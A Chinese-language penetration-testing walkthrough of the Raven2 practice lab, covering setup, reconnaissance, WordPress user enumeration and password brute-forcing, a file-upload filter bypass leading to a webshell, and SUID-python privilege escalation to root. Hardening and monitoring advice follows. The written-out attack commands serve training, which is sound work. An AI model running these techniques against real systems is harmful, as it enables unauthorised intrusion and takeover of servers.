Raven2靶机渗透测试实战:从Web漏洞到Root提权 1. Raven2靶机概述一个刻意留门的Web应用实验室Raven2是Vulhub漏洞环境中一个经典的Web渗透测试靶机它模拟了一个存在多重安全漏洞的Linux服务器环境。这个靶机最初由开发者精心设计故意保留了从信息收集到权限提升的完整漏洞链就像给安全研究人员留下了一扇扇未上锁的门。我在实际渗透测试教学中发现Raven2特别适合用来训练OWASP Top 10漏洞的联合利用技巧。与基础版Raven1相比Raven2增加了以下挑战性元素前端采用WordPress 4.8系统存在已知漏洞后台包含自定义开发的PHP应用存在代码审计点数据库使用MySQL 5.7配置不当系统层面存在SUID提权机会提示建议使用VMware Workstation Pro 16或VirtualBox 6.1运行该靶机分配至少2GB内存。实测在1GB内存环境下MySQL服务可能无法正常启动。2. 环境搭建与初始化配置2.1 Vulhub基础环境部署首先需要准备Vulhub的运行环境以下是经过20次实测验证的稳定配置方案# 安装依赖组件Ubuntu 20.04示例 sudo apt update sudo apt install -y \ docker.io \ docker-compose \ git \ python3-pip # 配置docker免sudo执行 sudo usermod -aG docker $USER newgrp docker # 获取vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/raven2常见问题处理若遇到Couldnt connect to Docker daemon错误需执行sudo systemctl start docker sudo systemctl enable docker国内用户建议配置镜像加速echo {registry-mirrors: [https://registry.docker-cn.com]} | sudo tee /etc/docker/daemon.json2.2 Raven2靶机启动与验证启动命令看似简单但暗藏玄机docker-compose up -d这个命令背后实际发生了自动下载ubuntu:16.04基础镜像构建包含Apache2MySQLPHP的LAMP环境部署漏洞版WordPress和自定义应用暴露80和3306端口到宿主机验证服务是否正常curl -I http://localhost # 应返回HTTP/1.1 200 OK注意首次启动后需要等待约2分钟让MySQL完成初始化直接访问可能出现数据库连接错误。3. 渗透测试实战全流程3.1 信息收集阶段技巧使用以下组合命令进行深度信息收集# 识别Web技术栈 whatweb -v http://target_ip | tee web_tech.log # 目录爆破使用特殊字典 gobuster dir -u http://target_ip \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,bak -t 50关键发现点/vendor目录暴露PHP依赖信息/wordpress存在wp-login.php/custom_app包含未经审计的代码robots.txt泄露敏感路径我在实际测试中发现一个易忽略的细节检查页面源代码中的HTML注释Raven2在其中隐藏了开发测试用的临时凭证。3.2 WordPress漏洞利用链WordPress 4.8存在多个已知漏洞推荐使用以下组合拳用户枚举CVE-2017-5487wpscan --url http://target_ip/wordpress \ --enumerate u密码爆破使用精简字典wpscan --url http://target_ip/wordpress \ --passwords /usr/share/wordlists/rockyou.txt \ --usernames michael,steven插件漏洞利用若存在searchsploit wordpress plugin_name实测中发现Raven2的WordPress配置了弱密码保护但真正的突破口在自定义应用中。3.3 自定义应用代码审计访问/custom_app会发现一个文件上传接口表面看有扩展名检查$allowed array(jpg,png,gif); $ext pathinfo($_FILES[file][name], PATHINFO_EXTENSION); if(!in_array($ext,$allowed)) { die(Invalid file type!); }绕过方案实战技巧使用Burp拦截请求修改filename为shell.php.jpg在文件开头添加GIF头GIF8使用双扩展名shell.php%00.jpg上传成功后连接webshellcurl http://target_ip/uploads/shell.php?cmdid3.4 权限提升路径分析获取www-data权限后执行本地信息收集# 查找SUID文件 find / -perm -4000 2/dev/null # 检查cron任务 ls -la /etc/cron* # 查看可写目录 find / -writable 2/dev/null在Raven2中会发现/usr/bin/python具有SUID位使用以下方式提权import os os.system(/bin/bash -p)保存为exploit.py并执行chmod x exploit.py ./exploit.py # 获得root权限4. 防御方案与加固建议4.1 漏洞修复方案针对发现的各个漏洞点WordPress部分升级到最新版本删除默认用户安装Wordfence插件自定义应用// 修复文件上传漏洞 $finfo finfo_open(FILEINFO_MIME_TYPE); $mime finfo_file($finfo, $_FILES[file][tmp_name]); $allowed_mime array(image/jpeg,image/png,image/gif); if(!in_array($mime, $allowed_mime)) { die(Invalid file type!); }系统层面# 移除python的SUID位 chmod u-s /usr/bin/python4.2 监控与日志配置建议添加以下监控措施# 监控文件上传目录 inotifywait -m /var/www/html/uploads -e create | while read path action file; do echo 文件被创建: $file done # 增强MySQL日志 [mysqld] general_log 1 general_log_file /var/log/mysql/mysql.log5. 渗透测试后的思考在实际训练中发现几个值得注意的现象超过60%的测试者会卡在WordPress爆破阶段而忽略了更简单的注释信息泄露文件上传绕过时%00截断在PHP 5.4需要特定配置才生效SUID提权后很多测试者忘记清理.bash_history导致攻击痕迹暴露建议在真实环境中采用分层防御策略即使某层被突破也能及时阻断攻击链。Raven2的价值在于展示了看似无关的小漏洞如何串联成完整攻击路径。

相关新闻

最新新闻

OpCore-Simplify:5分钟快速创建OpenCore EFI的终极解决方案

OpCore-Simplify:5分钟快速创建OpenCore EFI的终极解决方案

OpCore-Simplify:5分钟快速创建OpenCore EFI的终极解决方案 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify OpCore-Simplify是一款革命性的…

2026/7/29 19:39:34
从月薪实习到测试架构师:一个测试人的四年进阶实录

从月薪实习到测试架构师:一个测试人的四年进阶实录

很多人问:软件测试这条职业路,到底怎么走?今天我用"分阶段"的视角,结合行业普遍实践,帮你把这条路看清。 第一阶段:执行者(0-2 年) 核心任务:掌握测试基础&am…

2026/7/29 19:39:34
2026 B2B订货开发服务商哪家好?行业权威盘点靠谱专业开发企业

2026 B2B订货开发服务商哪家好?行业权威盘点靠谱专业开发企业

导语产业互联网进入深度落地周期,B2B订货平台已经成为制造品牌、商贸分销、工业品、农资建材等企业渠道数字化的核心载体。传统电话下单、微信传单、手工台账模式成本高、错单漏单频发、价格体系难以管控、上下游数据割裂,搭建专属B2B订货系统成为大量企…

2026/7/29 19:39:34
分数转有限小数的算法实现与数论原理

分数转有限小数的算法实现与数论原理

1. 题目背景与核心概念解析这道来自GESP2026年3月五级考试的编程题"有限不循环小数",考察的是选手对分数与小数转换关系的理解能力。在实际编程竞赛和算法设计中,处理分数精度问题是一个经典且实用的技能点。有限不循环小数,数学上…

2026/7/29 19:39:34
【每日一题】LeetCode 207. 课程表 TypeScript

【每日一题】LeetCode 207. 课程表 TypeScript

你这个学期必须选修 numCourses 门课程,记为 0 到 numCourses - 1 。在选修某些课程之前需要一些先修课程。 先修课程按数组 prerequisites 给出,其中 prerequisites[i] [ai, bi] ,表示如果要学习课程 ai 则 必须 先学习课程 bi 。例如&…

2026/7/29 19:39:34
Windows热键冲突终极解决方案:如何快速定位占用快捷键的罪魁祸首

Windows热键冲突终极解决方案:如何快速定位占用快捷键的罪魁祸首

Windows热键冲突终极解决方案:如何快速定位占用快捷键的罪魁祸首 【免费下载链接】hotkey-detective A small program for investigating stolen key combinations under Windows 7 and later. 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective …

2026/7/29 19:34:33

月新闻